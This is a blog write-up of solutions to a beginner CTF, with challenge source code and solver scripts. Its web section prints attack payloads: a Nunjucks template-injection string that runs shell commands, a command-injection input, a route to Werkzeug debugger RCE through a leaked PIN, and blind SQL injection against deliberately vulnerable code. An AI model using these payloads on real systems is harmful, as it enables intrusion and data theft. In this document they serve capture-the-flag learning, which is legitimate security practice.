UA CSW CTF 2022 Write Up Dump

Dump of some solutions for this beginner friendly CTF. It was relatively easy compared to others.

Web

Penguim – (De)Serial Killer

Login page

Homepage

Weird looking cookie

Path Traversal in picture_path

Flag is rendered as base64

Missing Out

Source. Immediately looking at werkzeug console exploit.

from flask import Flask, send_from_directory, flash, request, redirect, url_for, render_template
from werkzeug.utils import secure_filename
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

import logging, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['FILES_FOLDER'] = '/tmp/app'
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}

logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["120/minute"]
)


@app.route('/')
def index():
    app.logger.info('Home page accessed')
    return render_template('index.html')


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/upload_file', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # check if the post request has the file part
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        # If the user does not select a file, the browser submits an
        # empty file without a filename.
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['FILES_FOLDER'], filename))
            return redirect('/')
    return '''
    <!doctype html>
    <title>Upload new File</title>
    <h1>Upload new File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''


@app.route('/get_file/<path:name>')
def get_file(name):
    return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)


@app.errorhandler(429)
def ratelimit_handler(e):
    return 'If you keep that request rate, you will are only contributing the climate change. Respect <a href=\"https://www.youtube.com/watch?v=0YPC6sfgj2I\">our environment</a> and find smarter solutions'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

Since the app.log is in the same folder and the pictures, we can get it using the get_file API. The console pin is contained there, and we can use it to logon to the console page for RCE

2022-05-25 10:00:14,174 INFO werkzeug MainThread :  * Running on all addresses (0.0.0.0)
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://127.0.0.1:8000
 * Running on http://10.139.0.4:8000 (Press CTRL+C to quit)
2022-05-25 10:00:14,176 INFO werkzeug MainThread :  * Restarting with stat
2022-05-25 10:00:14,618 WARNING werkzeug MainThread :  * Debugger is active!
2022-05-25 10:00:14,620 INFO werkzeug MainThread :  * Debugger PIN: 868-626-235
2022-05-25 10:47:07,063 INFO app Thread-3 : Home page accessed
2022-05-25 10:47:07,074 INFO werkzeug Thread-3 : 192.168.33.1 - - [25/May/2022 10:47:07] "GET / HTTP/1.1" 200 -
2022-05-25 10:47:10,859 INFO werkzeug Thread-6 : 192.168.33.1 - - [25/May/2022 10:47:10] "GET /static/uac_logo.png HTTP/1.1" 200 -
2022-05-25 10:47:27,930 INFO app Thread-8 : Home page accessed
2022-05-25 10:47:27,930 INFO werkzeug Thread-8 : 192.168.33.1 - - [25/May/2022 10:47:27] "GET / HTTP/1.1" 200 -
2022-05-25 10:47:28,452 INFO werkzeug Thread-7 : 192.168.33.1 - - [25/May/2022 10:47:28] "[36mGET /static/uac_logo.png HTTP/1.1[0m" 304 -
2022-05-25 10:47:30,890 INFO werkzeug Thread-10 : 192.168.33.1 - - [25/May/2022 10:47:30] "[33mGET /favicon.ico HTTP/1.1[0m" 404 -
2022-05-25 10:47:38,774 INFO werkzeug Thread-11 : 192.168.33.1 - - [25/May/2022 10:47:38] "GET /upload_file HTTP/1.1" 200 -
2022-05-25 10:48:26,308 INFO werkzeug Thread-14 : 192.168.33.1 - - [25/May/2022 10:48:26] "[32mPOST /upload_file HTTP/1.1[0m" 302 -
2022-05-25 10:48:26,548 INFO app Thread-16 : Home page accessed
2022-05-25 10:48:26,549 INFO werkzeug Thread-16 : 192.168.33.1 - - [25/May/2022 10:48:26] "GET / HTTP/1.1" 200 -
2022-05-25 10:48:27,185 INFO werkzeug Thread-18 : 192.168.33.1 - - [25/May/2022 10:48:27] "[36mGET /static/uac_logo.png HTTP/1.1[0m" 304 -
2022-05-25 10:49:27,526 INFO werkzeug Thread-22 : 192.168.33.1 - - [25/May/2022 10:49:27] "[33mGET /get_file HTTP/1.1[0m" 404 -
2022-05-25 10:49:37,019 INFO werkzeug Thread-25 : 192.168.33.1 - - [25/May/2022 10:49:37] "GET /get_file/test.png HTTP/1.1" 200 -
2022-05-25 10:51:11,291 INFO werkzeug Thread-29 : 192.168.33.1 - - [25/May/2022 10:51:11] "GET /upload_file HTTP/1.1" 200 -
2022-05-25 10:53:56,289 INFO werkzeug Thread-33 : 192.168.33.1 - - [25/May/2022 10:53:56] "POST /upload_file HTTP/1.1" 200 -
2022-05-25 10:55:04,914 INFO werkzeug Thread-36 : 192.168.33.1 - - [25/May/2022 10:55:04] "POST /upload_file HTTP/1.1" 200 -
2022-05-25 10:55:21,889 INFO werkzeug Thread-40 : 192.168.33.1 - - [25/May/2022 10:55:21] "[33mGET /get_file/flag.txt HTTP/1.1[0m" 404 -
2022-05-25 10:55:31,072 INFO werkzeug Thread-43 : 192.168.33.1 - - [25/May/2022 10:55:31] "[33mGET /get_file/x.txt HTTP/1.1[0m" 404 -
2022-05-25 10:55:37,849 INFO werkzeug Thread-46 : 192.168.33.1 - - [25/May/2022 10:55:37] "[33mGET /get_file/x.txt.php HTTP/1.1[0m" 404 -
2022-05-25 10:56:43,196 INFO app Thread-49 : Home page accessed
2022-05-25 10:56:43,197 INFO werkzeug Thread-49 : 192.168.33.1 - - [25/May/2022 10:56:43] "GET / HTTP/1.1" 200 -
2022-05-25 10:56:44,145 INFO werkzeug Thread-50 : 192.168.33.1 - - [25/May/2022 10:56:44] "GET /static/uac_logo.png HTTP/1.1" 200 -
2022-05-25 10:56:45,091 INFO werkzeug Thread-52 : 192.168.33.1 - - [25/May/2022 10:56:45] "[33mGET /favicon.ico HTTP/1.1[0m" 404 -
2022-05-25 10:57:39,924 INFO app Thread-54 : Home page accessed
2022-05-25 10:57:39,925 INFO werkzeug Thread-54 : 192.168.33.1 - - [25/May/2022 10:57:39] "GET / HTTP/1.1" 200 -
2022-05-25 10:57:40,562 INFO werkzeug Thread-56 : 192.168.33.1 - - [25/May/2022 10:57:40] "[36mGET /static/uac_logo.png HTTP/1.1[0m" 304 -
2022-05-25 10:57:40,954 INFO werkzeug Thread-57 : 192.168.33.1 - - [25/May/2022 10:57:40] "GET /static/uac_logo.png HTTP/1.1" 200 -
2022-05-25 10:58:09,213 ERROR werkzeug Thread-58 : 192.168.33.1 - - [25/May/2022 10:58:09] code 400, message Bad request version ("¤\x99\x146@\x10!kÛ\x95~,\x83¤\x92Ãom|Ç\x00rww)](\x94¾¦¨Å\x00p\x13\x02\x13\x01\x13\x03À,À+Ì©À0̨À/\x00\x9f̪\x00£\x00\x9e\x00¢À$À(À#À'\x00k\x00j\x00g\x00@À.À2À-À1À&À*À%À)À")
2022-05-25 10:58:09,213 INFO werkzeug Thread-58 : 192.168.33.1 - - [25/May/2022 10:58:09] "[35m[1m³

SunSet introspecTIon

Classic SSTI attack

Trying different commands, we get an error page that tell us it’s nunjucks, so we have to use nunjucks SSTI {{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /app/flag')")()}}

BlinderEye

Source. Exploit using Blind SQL injection. I lost the script and i’m too lazy to write it again, but basically iterate through all ascii and use substring to check if the password is correct. Do not use `LIKE %` comparison, as it’s case insensitive.

SELECT *
  FROM USERS
 WHERE instr(password, 'CTFUA{') > 0;
from flask import request, send_from_directory, render_template
from app import app
import sqlite3
import hashlib

def checkSecret(_username, _password):
    # check user exists			
    # connection object
    connection_obj = sqlite3.connect('/challenge/app/data/blindereye.db')
  
    # cursor object
    cursor_obj = connection_obj.cursor()
    
    cursor_obj.execute(f"SELECT * FROM USERS WHERE username = '{_username}' AND password = '{_password}'")
    result = cursor_obj.fetchone()

    if result:
        return True
    else:
        return False

@app.route('/', methods=['GET'])
def home():
	return render_template('home.html')

# robots.txt file
@app.route('/robots.txt', methods=['GET'])
def static_from_root():
    return send_from_directory(app.static_folder, request.path[1:])

@app.route('/admin', methods=['GET'])
def admin():
    args = request.args
    _username = args.get('username')
    _password = args.get('password')

    # validate secrets
    if _username and _password and checkSecret(_username, _password):
        return render_template('admin.html')
    else:
        return render_template('404.html'), 404

@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404

Go, Land and Run

Command Injection: http://127.0.0.1;cat /flag

Spring is Hell

CVE-2022-22965

https://github.com/twseptian/cve-2022-22965

Release the (g)Unicorn

gunicorn 20.0.4 HTTP smuggling

https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/

from flask import Flask, render_template, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["120/minute"]
)


@app.route('/', methods=['GET', 'POST'])
def home():
    return render_template('home.html')


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    return 'Under Construction...'


@app.route('/flag')
def flag():
    with open('flag', 'r') as f:
        return f.read()


@app.errorhandler(429)
def ratelimit_handler(e):
    return 'If you keep that request rate, you will are only contributing the climate change. Respect <a href=\"https://www.youtube.com/watch?v=0YPC6sfgj2I\">our environment</a> and find smarter solutions'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

In Burp, we have to toggle off Update Content-Length

Forensics

So close but so far

Simple git commands to checkout the commit with the flag

Digging for something

Filter the queries by DNS

tshark to extract all DNS queries from 192.168.122.143

tshark -r capture.pcapng -T fields -e dns.qry.name ip.src == 192.168.122.143

Cleaning up duplicates and joining them together, before base64 decoding

Misc

Credit Score

Luhns Algorithm

# Python3 program to implement
# Luhn algorithm
 
# Returns true if given card
# number is valid
def checkLuhn(cardNo):
     
    nDigits = len(cardNo)
    nSum = 0
    isSecond = False
     
    for i in range(nDigits - 1, -1, -1):
        d = ord(cardNo[i]) - ord('0')
     
        if (isSecond == True):
            d = d * 2
  
        # We add two digits to handle
        # cases that make two digits after
        # doubling
        nSum += d // 10
        nSum += d % 10
  
        isSecond = not isSecond
     
    if (nSum % 10 == 0):
        return True
    else:
        return False

def luhn_checksum(card_number):
    def digits_of(n):
        return [int(d) for d in str(n)]
    digits = digits_of(card_number)
    odd_digits = digits[-1::-2]
    even_digits = digits[-2::-2]
    checksum = 0
    checksum += sum(odd_digits)
    for d in even_digits:
        checksum += sum(digits_of(d*2))
    return checksum % 10

def is_luhn_valid(card_number):
    return luhn_checksum(card_number) == 0

sum41 = 0

# Driver code  
if __name__=="__main__":
    
    with open('numbers.txt', 'r') as f:

        lines = f.readlines()

        for cardNo in lines:
            cardNo = cardNo.strip()
            if (is_luhn_valid(cardNo)):
                sum41 += int(cardNo)
                print("This is a valid card")
            else:
                print("This is not a valid card")

    print(sum41)

NotHiNorLo

Open IDA and simply change the control flow to correct

Lights

Solved using Z3, I had a small hiccup where I only considered True values. To get the correct answer, you had to defined the False constrains as well

'''
1st Light
b = 1
d = A & ~(E & G)
e = A ==> (D | G)
f = B
g = B & D

2nd Light
a = F ==> Q
b = K & ~(G | I)
c = G | R
d = M XOR N
e = J & P
g = ~ (C & I)

3rd Light
a = I NOR O
b = ~ (G & H)
e = L & D
f = O ==> (K | D)


A B C D E F G H I J K  L  M  N  O  P  Q  R
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
'''

from z3 import *
import string

z = Solver()

f = [Bool(i) for i in range(18)]

# b, e, f, g, d = True
z.add(And(f[0], Not((And(f[4], f[6])))) == True)
z.add(Implies(f[0], Or(f[3], f[6])) == True)
z.add(f[1] == True)
z.add(And(f[1],f[3]) == True)

# a, c = False
z.add(Not(And(f[0],f[7])) == False)
z.add(Or(f[6],f[14])==False) 


# a, b, c, d, e, g = True
z.add(Implies(f[5], f[16]) == True)
z.add(And(f[10], Not((Or(f[6], f[8])))) == True)
z.add(Or(f[6],f[17])==True) 
z.add(Xor(f[12],f[13]) == True)
z.add(And(f[9],f[15]) == True)
z.add(Not(And(f[2],f[8])) == True)

# f = False
z.add(And(f[12], (Or(f[11], f[7]))) == False)

# a, b, e, f = True
z.add(Not(Or(f[8], f[14])) == True)
z.add(Not(And(f[6],f[7])) == True)
z.add(And(f[11],f[3]) == True)
z.add(Implies(f[14], Or(f[10], f[3])) == True)

# d, c, g = False
z.add(Not(And(f[5],f[16])) == False)
z.add(And(f[2],f[0],f[1]) == False)
z.add(Implies(f[4], f[12]) == False)


while z.check() == sat:

    print(''.join( '1' if z.model()[i] == True else '0' for i in f))

    z.add(Or([z.model()[i] != i for i in f]))

Reverse

Hidden

An annoyingly obfuscated program. All we have to do is change

return cockadoodledo_OOΟ0ΟO ==buzz_O0Ο0ΟO

to

return cockadoodledo_OOΟ0ΟO !=buzz_O0Ο0ΟO

and key in anything

baa_baa_baa_aaaαa ='1234567890qwertyuiopasdfghjklzxcvbnm! QWERTYUIOPASDFGHJKLZXCVBNM{}_.,'


baa_O0O0OO =baa_baa_baa_aaaαa [53 ]+baa_baa_baa_aaaαa [17 ]+baa_baa_baa_aaaαa [36 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [45 ]+baa_baa_baa_aaaαa [35 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [28 ]+baa_baa_baa_aaaαa [18 ]+baa_baa_baa_aaaαa [18 ]+baa_baa_baa_aaaαa [27 ]+baa_baa_baa_aaaαa [17 ]+baa_baa_baa_aaaαa [34 ]+baa_baa_baa_aaaαa [24 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [23 ]+baa_baa_baa_aaaαa [18 ]+baa_baa_baa_aaaαa [13 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [20 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [34 ]+baa_baa_baa_aaaαa [16 ]+baa_baa_baa_aaaαa [35 ]+baa_baa_baa_aaaαa [33 ]+baa_baa_baa_aaaαa [12 ]+baa_baa_baa_aaaαa [13 ]+baa_baa_baa_aaaαa [68 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [20 ]+baa_baa_baa_aaaαa [34 ]+baa_baa_baa_aaaαa [15 ]+baa_baa_baa_aaaαa [37 ]+baa_baa_baa_aaaαa [34 ]+baa_baa_baa_aaaαa [16 ]+baa_baa_baa_aaaαa [35 ]+baa_baa_baa_aaaαa [33 ]+baa_baa_baa_aaaαa [12 ]+baa_baa_baa_aaaαa [13 ]+baa_baa_baa_aaaαa [67 ]+baa_baa_baa_aaaαa [67 ]+baa_baa_baa_aaaαa [67 ]


def moo_moo_IΙIll1 (cockadoodledo_OOΟ0ΟO ):
        print (cockadoodledo_OOΟ0ΟO )

def grrr_grrr_aaαaa ():
        oink_oink_oink_IIIΙlI =input ()
        return (oink_oink_oink_IIIΙlI )

def woof_ααaaα (cockadoodledo_OOΟ0ΟO ,buzz_O0Ο0ΟO ):

        return cockadoodledo_OOΟ0ΟO ==buzz_O0Ο0ΟO 

def gobble_gobble_gobble_aααaα (oink_OOOΟOΟ ,cockadoodledo_IIII1l ,roar_II1111 ):
        if (oink_OOOΟOΟ ):
                cockadoodledo_IIII1l (roar_II1111 ())

def roar_OΟ0O0O ():
        with open ('flag.txt.enc','r')as file :
                return file .readlines ()[0 ]

def chirp_chirp_αaαaα (snarl_snarl_ααaaa ):
        oink_oink_oink_IIIΙlI =''
        x = 0
        for i in snarl_snarl_ααaaa :
                oink_oink_oink_IIIΙlI +=chr(ord(i)-x%3)
                x+=1
        return oink_oink_oink_IIIΙlI

def ribbit_ribbit_ribbit_IΙllΙl ():
        return chirp_chirp_αaαaα (roar_OΟ0O0O ())

def quack_quack_IΙΙI1I ():
        return baa_baa_baa_aaaαa [0 ]+baa_baa_baa_aaaαa [2 ]+baa_baa_baa_aaaαa [0 ]+baa_baa_baa_aaaαa [1 ]+baa_baa_baa_aaaαa [4 ]+baa_baa_baa_aaaαa [1 ]+baa_baa_baa_aaaαa [9 ]






moo_moo_IΙIll1 (baa_O0O0OO )

snort_O0Ο0OΟ =grrr_grrr_aaαaa ()


roar_roar_roar_ααααα =woof_ααaaα (snort_O0Ο0OΟ ,quack_quack_IΙΙI1I ())


gobble_gobble_gobble_aααaα (roar_roar_roar_ααααα ,moo_moo_IΙIll1 ,ribbit_ribbit_ribbit_IΙllΙl )

Code Check 9000

Z3 HELL.

The flag needed to be in this format

ABCD-EFGH-IJKL-MNOP-QRST-UVWX

Follow the addresses right before the call raise, and encode the constrains accordingly

For the final check, simply bypass ptrace by replacing 0xFFFFFFFFFFFFFFF with 0

The gotcha here was that the inputs did not need to be constrained to printable ascii letter (33 – 126), which was what got me stuck for so long and double checking the equations.

After i expanded the solution space to 14 – 255, we enter the answer in bytes. We can’t have 0-13 because it contains return carriage and newline characters, which will mess up the input

from z3 import *
import string

z = Solver()

f = [BitVec('f{:02}'.format(i), 32) for i in range(29)]

dashes = [4,9,14,19,24]

# setting constrains for every key value
for idx, i in enumerate(f):
    if idx not in dashes:
        z.add(Not(And([i == 45])),i>= 14, i<=255)
    else:
        z.add(i == 45)

z.add(f[0] == 85)
z.add(f[1] == 65)
z.add(f[2] == 86)
z.add(f[3] == 82)

z.add((f[5] + f[8]) + (f[6] + f[3]) + (f[7] + f[17]) + (f[8] + f[15]) == 475)
                                       
z.add((f[10] * f[2]) + (f[11] * f[28]) + (f[12] * f[18]) + (f[13] * f[25]) == 17947)
                                                                              
z.add((f[15] ^ f[23]) + (f[17] ^ f[10]) + (f[18] ^ f[1]) == 128)

z.add(((f[20] >> 3) * f[11]) + ((f[21] << 5) * f[12]) + ((f[22] >> 2) * f[23]) + ((f[23] >> 4) * f[27]) == 109434)

z.add(((f[25] << 3) + f[25]) != (f[10] * 3))

z.add((f[26] * 8) == ((f[27] << 2) + f[27]) * 2)

z.add(((f[27] << 6) + f[27]) * 2 != (((f[13] << 2) + f[13]) * 4) * 2)

z.add(((f[28] << 2) + f[28]) << 2 != (f[16] << 3) + f[16])

z.add(((f[17] + f[28]) * f[10]) + (((f[23] * f[3]) + f[25]) << 16) == 288566177)

z.add((((f[11] + 1) * f[18]) * (f[8] - f[27])) + ((f[13] - (f[6]* f[17])) << 4) == -201664)

z.add(((f[3] << 7) - f[1] ) + ((f[4] << 7) - f[4]) + ((f[15] << 7) - f[7]) + ((f[21] << 7) - f[10])  + ((f[27]<<7)-f[13])== 42066)

z.add((f[0] * f[0]) + (f[0] * f[0]) + (f[0] * f[0]) + (f[0] * f[0]) + (f[11] * f[18]) + (f[12] * f[28]) + (f[7] * f[27]) + (f[10] * f[21]) + (f[22] * f[7]) + (f[4] * f[27]) + (f[4] * f[25]) + (f[20] * f[13]) + (f[4] * f[25]) + (f[7] * f[26]) + (f[21] * f[23]) + (f[1] * f[5]) + (f[15] * f[4]) + (f[4] * f[25]) + (f[28] * f[21]) + (f[11] * f[26]) + (f[26] * f[3]) + (f[2] * f[4]) + (f[6] * f[4]) + (f[21] * f[18]) == 105889)

print(z.check())

while z.check() == sat:
    print(' '.join(str(z.model()[i].as_long()) for i in f))
    z.add(Or([z.model()[i] != i for i in f]))

After burning through my CPU

Pwn

Badass quotes

Simple bufferoverflow

Jail

Jail code. We need to use directives with lower() command to escape the jail

https://anee.me/escaping-python-jails-849c65cf306e

#!/usr/bin/python3
import os

def main():
    command = input('$ ')
    for k in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'get']:
        if k in command:
            print("Not allowed")
            return;
    else:
        exec(command)


if __name__ == "__main__":
    print("Flag is at localhost")
    try:
        while True:
            main()
    except Exception as e:
        print(e)

Random Pass

Format string Vuln to leak the password. We have to brute force the location to print out the flag

Crypto

Blind Soldier

Converted the Braille to Ascii, and take the first letter for each word, EXCEPT for the numbers, and comma

# ASCII
asciicodes = [' ','!','"','#','$','%','&','','(',')','*','+',',','-','.','/',
          '0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@',
          'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q',
          'r','s','t','u','v','w','x','y','z','[','\\',']','^','_']

# Braille symbols
brailles = ['⠀','⠮','⠐','⠼','⠫','⠩','⠯','⠄','⠷','⠾','⠡','⠬','⠠','⠤','⠨','⠌','⠴','⠂','⠆','⠒','⠲','⠢',
        '⠖','⠶','⠦','⠔','⠱','⠰','⠣','⠿','⠜','⠹','⠈','⠁','⠃','⠉','⠙','⠑','⠋','⠛','⠓','⠊','⠚','⠅',
        '⠇','⠍','⠝','⠕','⠏','⠟','⠗','⠎','⠞','⠥','⠧','⠺','⠭','⠽','⠵','⠪','⠳','⠻','⠘','⠸']


flag = "⠉⠓⠁⠗⠇⠊⠑⠀⠞⠁⠝⠛⠕⠀⠋⠕⠭⠞⠗⠕⠞⠀⠥⠝⠊⠋⠕⠗⠍⠀⠁⠇⠋⠁⠀⠞⠓⠗⠑⠑⠀⠝⠕⠧⠑⠍⠃⠑⠗⠀⠉⠓⠁⠗⠇⠊⠑⠀⠗⠕⠍⠑⠕⠀⠽⠁⠝⠅⠑⠑⠀⠏⠁⠏⠁⠀⠞⠁⠝⠛⠕⠀⠞⠓⠗⠑⠑⠀⠙⠑⠇⠞⠁⠀⠉⠕⠍⠍⠁⠀⠸⠞⠁⠝⠛⠕⠀⠓⠕⠞⠑⠇⠀⠕⠝⠑⠀⠎⠊⠑⠗⠗⠁⠀⠸⠊⠝⠙⠊⠁⠀⠎⠊⠑⠗⠗⠁⠀⠸⠝⠕⠧⠑⠍⠃⠑⠗⠀⠵⠑⠗⠕⠀⠞⠁⠝⠛⠕⠀"

reverso = ""

for c in flag:
    idx = brailles.index(c)
    reverso += asciicodes[idx]


print(reverso)

ctfua{3nctypt3d,_th1s_is_n0t}

The Well of Chaos

We can work just with the first line. The script is self-explainatory

s = list("t,bwhr e' esoryufa l:Cg FATUYd{0Hs440hNtnO1gM}n3")

print(s)


count = 0

shift = 0

swap = 0

for x in range(len(s)-12):

    if count == 0 or count % 3 == 0:
       swap1 = s[x + shift]
       swap2 = s[x+2 + shift]

       s[x + shift] = swap2
       s[x+2+shift] = swap1
    else:
        swap1 = s[x+shift]
        swap2 = s[x+1+shift]

        s[x+1+shift] = swap1
        s[x+shift] = swap2

        swap += 1

        if swap == 2:
            swap = 0
            shift += 1

    count += 1


print(''.join(s))



'''
1. swap x and x+2
2. swap x and x+1 twice
3. increase index by 1

x = t
t,bwhr e...

swap x and x+2; x++
b,twhr e...

x = ,
b,twhr e...

swap x and x+1; x++
bt,whr e...

x = ,
bt,whr e...

swap x and x+1; x++
btw,hr e...

x = ,
btw,hr e...

x++
btw,hr e...

x = h
btw,hr e...

repeat...
'''

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: